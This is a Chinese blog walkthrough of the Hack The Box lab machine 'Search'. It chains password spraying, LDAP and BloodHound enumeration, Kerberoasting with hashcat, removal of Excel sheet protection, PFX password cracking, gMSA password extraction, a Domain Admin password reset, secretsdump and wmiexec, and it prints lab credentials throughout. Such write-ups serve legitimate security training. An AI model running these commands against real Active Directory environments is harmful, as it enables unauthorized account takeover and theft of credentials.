HTB-search

Search

初始权限获取(ldapdomaindump可视化ldapsearch结果)

https://juejin.cn/s/how%20to%20open%20xlsx%20file%20in%20kali%20linux

如何将 JSON 文件转换为 Microsoft Excel|微软|编辑器|json|文件名_网易订阅

如何将 JSON 文件转换为 Microsoft Excel

GitHub - 0xZDH/BridgeKeeper: Scrape, Hunt, and Transform names and usernames 将已生成的名称列表转换为用户名:

它显示“将密码发送给 Hope Sharp”,下一行显示IsolationIsKey?。这可能是用户名,也可能是密码。

X-Powered-By头显示ASP.NET,这意味着我应该期待.aspx文件。

目录爆破一下

feroxbuster -u http://10.10.11.129 -w /usr/share/seclists/Discovery/Web-Content/IIS.fuzz.txt

这个字典可以查找查找 IIS 特定的东西

目录/certsrv/certenroll表明该服务器是证书颁发机构的一部分。

访问/certsrv请求身份验证,/certenroll只返回403。

枚举一下smb,没有凭据是失败的

根据上面的web页面获得的可能用户创建Hope Sharp的可能用户列表

hope hope.sharp hopesharp .................

crackmapexec smb 10.10.11.129 -u hope.txt -p IsolationIsKey? --continue-on-success

获得账号密码接着去枚举smb

smbmap -u hope.sharp -p IsolationIsKey? -H 10.10.11.129 --no-banner

smbclient //10.10.11.129/RedirectedFolders$ -U hope.sharp 这里面有一些用户名

接下来尝试ldapsearch

ldapsearch -h 10.10.11.129 -x -b "DC=search,DC=htb"

加凭据枚举ldapsearch -h 10.10.11.129 -D 'hope.sharp@search.htb' -w "IsolationIsKey?" -b "DC=search,DC=htb"

东西很多,利用 ldapdomaindump可视化 LDAP 数据

ldapdomaindump -u search.htb\hope.sharp -p 'IsolationIsKey?' 10.10.11.129 -o ldap/

创建一堆 HTML、Json 和可 grep 格式的文件

利用

bloodhound-python -u hope.sharp -p IsolationIsKey? -d search.htb -c All -ns 10.10.11.129

没有什么有趣的

看看List all Kerberoastable Accounts有没有可以利用Kerberoastable的

GetUserSPNs.py -request -dc-ip 10.10.11.129 search.htb/hope.sharp -outputfile web_svc.hash

hashcat -m 13100 web_svc.hash /usr/share/wordlists/rockyou.txt

web_svc @3ONEmillionbaby

再在bloodhound里查看一下没有什么可利用的

下面尝试一下看有没有密码复用

下面这一句话可以将json中的user提取出来

https://www.youtube.com/watch?v=cChCGrBNqFg&t=23s 这个视频打完后食用

cat domain_users.json | jq -r '.[].attributes.sAMAccountName[]' > ../users.txt

crackmapexec smb 10.10.11.129 -u users.txt -p passwords.txt --continue-on-success | grep -F '[+]'

Edgar.Jacobs

获得 Hope.Sharp:IsolationIsKey? Edgar.Jacobs:@3ONEmillionbaby

接着利用bloodhound

点击Transitive Object control

没有什么可以利用的

用户1获取(取消execl的密码保护,crackmapexec的--no-bruteforce参数使用)

smb登入

开始枚举,在

smbclient //10.10.11.129/RedirectedFolders$ '@3ONEmillionbaby' -U edgar.jacobs

是有东西的

smb: \edgar.jacobs> get Desktop\Phishing_Attempt.xlsx

capture里面有东西

libreoffice Phishing_Attempt.xlsx 打开查看文件

(这个是表2)

C 列被隐藏,尝试取消隐藏它会弹出:(双击黑线)

Unprotect Excel Sheet [Remove Excel Password in 5 Mins] Unprotect Excel Sheet Online 如何取消execl的密码保护

先新建一个文件夹,把xlsx文件放进去

现代 Office 文档只是内部包含 XML 文件的 Zip 存档。我将解压缩该文件:

oxdf@hacky$ unzip Phishing_Attempt.xlsx
Archive:  Phishing_Attempt.xlsx
  inflating: [Content_Types].xml
  inflating: _rels/.rels
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/worksheets/sheet2.xml
  inflating: xl/theme/theme1.xml
  inflating: xl/styles.xml
  inflating: xl/sharedStrings.xml
  inflating: xl/drawings/drawing1.xml
  inflating: xl/charts/chart1.xml
  inflating: xl/charts/style1.xml
  inflating: xl/charts/colors1.xml
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/worksheets/_rels/sheet2.xml.rels
  inflating: xl/drawings/_rels/drawing1.xml.rels
  inflating: xl/charts/_rels/chart1.xml.rels
  inflating: xl/printerSettings/printerSettings1.bin
  inflating: xl/printerSettings/printerSettings2.bin
  inflating: xl/calcChain.xml
  inflating: docProps/core.xml
  inflating: docProps/app.xml 

每个工作表都有一个 .xml 格式的 XML 文件xl/worksheets/。数据本身不受保护。只有一个密码可以防止修改(例如查看数据)。数据本身未加密。网上有很多像这样的教程,解释如何删除这种保护。

有关保护的信息位于xl/worksheets/sheet2.xml

具体来说就是这个标签:

<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" sce

接下来就是要将这段删除掉

cp Phishing_Attempt.xlsx Phishing_Attempt-mod.zip

然后直接打开

然后利用vim打开,删除上面的那段保护代码,然后保存后提示存档管理器发出警告:我将单击“update”,现在更改已在存档中进行。现在我可以将扩展名更改回.xlsx,并在 Libre Office 中打开它。工作表名称的锁消失了,里面是密码集合

crackmapexec可以检查这些密码。我真的不想尝试每个用户的每个密码,而只想尝试每个用户的关联密码。这条推文表明,这个不直观的命名--no-bruteforce选项将做到这一点:

crackmapexec smb 10.10.11.129 -u xlsx_users.txt -p xlsx_passwords.txt --no-bruteforce --continue-on-success

Sierra.Frye 与$$49=wide=STRAIGHT=jordan=28$$18.

另外一种方法(火狐证书的导入和破解密码)

Sierra 的文件夹中还有Downloads\Backups,其中包含证书:search-RESEARCH-CA.p12 , staff.pfx

下载到本地

在火狐的preferences有一个证书管理器。在“您的证书”下,点击“导入…”

两个都需要密码

破解密码

pfx2john.py search-RESEARCH-CA.p12 > search-RESEARCH-CA.p12.hash

pfx2john.py staff.pfx > staff.pfx.hash

john -w=/usr/share/wordlists/rockyou.txt staff.pfx.hash

john -w=/usr/share/wordlists/rockyou.txt search-RESEARCH-CA.p12.hash

两者的密码都是“misspissy”。

将两者都导入到 Firefox 中

现在如果访问或刷新https://search.htb/staff(必须是 HTTPS),它会要求发送证书:

单击“确定”后,Firefox 将显示一个 PowerShell Web Access 页面:

把 sierra.frye 的凭据输入到表单中,但是计算机名称不清楚,尝试search成功

这个同样可以读到User.txt

获取管理员(GMSA权限如何提权)

回到 Bloodhound,将 Sierra.Fry 标记为已拥有。点击“从拥有的原则到域管理员的最短路径”

Sierra.Frye 加入了 BIRMINGHAM-ITSEC(属于 ITSEC),因此控制了ReadGMSAPasswordBIR-ADFS-GMSA。该账户控制了GenericAllTristan.Davies(属于 Domain Admins)。

组托管服务帐户 (GMSA) 是 Windows 服务器通过为帐户生成长随机密码来管理帐户密码的地方。本文介绍如何创建 GMSA,以及如何管理该密码的 ACL。它还演示了如何使用 PowerShell 转储服务帐户的 GMSA 密码。我将遵循相同的步骤:

PS C:\Users\Sierra.Frye\Documents> $gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
PS C:\Users\Sierra.Frye\Documents> $mp = $gmsa.'msDS-ManagedPassword'
PS C:\Users\Sierra.Frye\Documents> ConvertFrom-ADManagedPasswordBlob $mp
 
 
Version                   : 1
CurrentPassword           : ꪌ絸禔හॐ๠뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤
                            ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱茾蒚⟒澽座걍盡篇
SecureCurrentPassword     : System.Security.SecureString
PreviousPassword          : 
SecurePreviousPassword    : 
QueryPasswordInterval     : 3062.06:26:26.3847903
UnchangedPasswordInterval : 3062.06:21:26.3847903
  1. $gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword':

    • 通过Get-ADServiceAccount cmdlet获取名为'BIR-ADFS-GMSA'的托管服务帐户的信息。

    • 使用-Properties 'msDS-ManagedPassword'参数来获取额外的属性,其中包括msDS-ManagedPassword,这是管理密码的属性。

  2. $mp = $gmsa.'msDS-ManagedPassword':

    • 将管理密码属性的值存储在变量$mp中。这是一个二进制数据,通常以字节数组的形式存储。

  3. ConvertFrom-ADManagedPasswordBlob $mp:

    • 使用ConvertFrom-ADManagedPasswordBlob cmdlet将$mp中的二进制数据转换为可读的格式。

    • 这个过程涉及将二进制数据转换为ManagedPasswordBlob对象,以便更容易查看和理解管理密码的信息。

CurrentPassword字段看起来像是乱码,但这就是 GMSA 的意义所在。尽管如此,我还是可以使用它。我将其保存在一个变量中:

PS C:\Users\Sierra.Frye\Documents> (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
ꪌ絸禔හॐ๠뒟娯㔃ᴨ蝓㣹瑹䢓疒웠ᇷꀠ믱츎孻勒壉馮ၸ뛋귊餮꤯ꏗ춰䃳ꘑ畓릝樗껇쁵藫䲈酜⏬궩Œ痧蘸朘嶑侪糼亵韬⓼ↂᡳ춲⼦싸ᖥ裹沑᳡扚羺歖㗻෪ꂓ㚬⮗㞗ꆱ긿쾏㢿쭗캵십ㇾେ͍롤ᒛ�䬁ማ譿녓鏶᪺骲雰騆惿閴滭䶙竜迉竾ﵸ䲗蔍瞬䦕垞뉧⩱
茾蒚⟒澽座걍盡篇
PS C:\Users\Sierra.Frye\Documents> $password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
PS C:\Users\Sierra.Frye\Documents> $SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
  1. (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword:

    • 使用ConvertFrom-ADManagedPasswordBlob cmdlet,将$mp中的二进制数据转换为可读格式。

    • 通过.CurrentPassword属性,提取管理密码的当前密码值。

  2. $password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword:

    • 将管理密码的当前密码值存储在变量$password中,以便后续的处理。

  3. $SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword:

    • 同样使用ConvertFrom-ADManagedPasswordBlob cmdlet,通过.SecureCurrentPassword属性,提取管理密码的当前密码值的安全字符串(SecureString)。

    • 这个操作可能是为了以更安全的方式处理密码,SecureString 是一种加密的字符串类型,通常用于存储敏感信息。

完全控制 Tristan.Davies 后,将密码重置,使用上面该帐户密码创建的对象Invoke-Command以 BIR-ADFS-GSMA$ 身份运行:PSCredential

创建新密码

PS C:\Users\Sierra.Frye\Documents> $cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPass
​
PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity tristan.davies -reset -NewPassword (ConvertTo-SecureString -AsPlainText '0xdf0xdf!!!' -force)} -Credential $cred
​
Invoke-Command 允许在远程计算机上执行命令,而不仅仅是在本地计算机上执行。
在你的示例中,通过指定 -ComputerName 127.0.0.1,你将命令发送到了本地计算机。
脚本块执行:
​
使用 -ScriptBlock 参数,你可以指定在远程计算机上执行的脚本块。在你的示例中,脚本块包含了设置 Active Directory 帐户密码的命令。
凭据传递:
​
通过 -Credential $cred 参数,你可以指定在远程计算机上执行脚本块时使用的凭据。
这对于确保在远程计算机上以正确的身份执行命令非常重要。

事实上它写着“Pwn3d!” 旁边意味着该用户是管理员,这意味着 PSexec 之类的东西将获得 shell。

wmiexec.py 'search/tristan.davies:0xdf0xdf!!!@10.10.11.129'

Set-ADAccountPassword

  • 属于 ActiveDirectory 模块。

  • 用于设置Active Directory中用户、计算机或服务帐户的密码。

  • 可以在单个命令中为帐户设置密码,也支持密码重置等操作。

Set-DomainUserPassword

  • 属于 MSOnline 模块,该模块通常与 Azure Active Directory 相关。

  • 用于设置 Azure Active Directory 中用户的密码。

  • 主要用于管理 Azure AD 帐户,而不是传统的本地 Active Directory。

法2

ITSEC该用户是拥有ReadGMSAPassword帐户权限的组的成员BIR-ADFS-GMSA,GMSA 表示组管理服务帐户,在活动目录中,更改服务帐户密码很麻烦,因此该 gmsa 帐户负责服务帐户密码,并且它的哈希值并不容易破解是随机生成的

所以我们可以读取这个帐户的哈希值,然后使用它来登录,以便读取我gMSADumper.py从 github使用的内容

img

img

image-20240103201202019

这已经存在genericall于该帐户上,并且Tristan.Davies该帐户是该帐户的成员,因此我们在获得该用户后几乎可以危害域控制器,因此这很容易被滥用,因为 AD 中的所有内容都是对象,并且该用户被视为对象。我们可以设置这个对象的权限,甚至可以在不知情的情况下更改他的密码Enterprise Admin``Administrator``Domain Admin

1.

Winrm在这台机器上被完全禁用,并且在近50个用户root这台机器后被禁用,winrm不应该在这台机器上运行(至少他们在discord中告诉的),因此具有获取远程会话的功能我们可以简单地以拥有该帐户的帐户身份登录genericall,这意味着我们可以使用该用户帐户执行任何操作,因此只需更改密码即可net user username password

img

现在我们可以使用 impacketsecretsdump.py转储所有密码哈希值

img

img

2.

由于 winrm 被禁用,并且没有任何方法可以获取 shell 并通过net user另一种方式更改密码,因为rpcclient允许传递哈希,我们可以使用BIR-ADFS-GMSA他的密码哈希登录并使用此命令更改密码

setuserinfo2 Tristan.Davies 23 'arzismol'

img

现在只需使用 impacket 的 Secretsdump.py 转储哈希值

img

但是 winrm 被禁用了,所以问题是我们如何获得 shell?我们可以使用crackmapexec检查是否获得“pwned”状态

img

我尝试过smbexec,但psexec都失败了,但wmiexec成功了

img

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值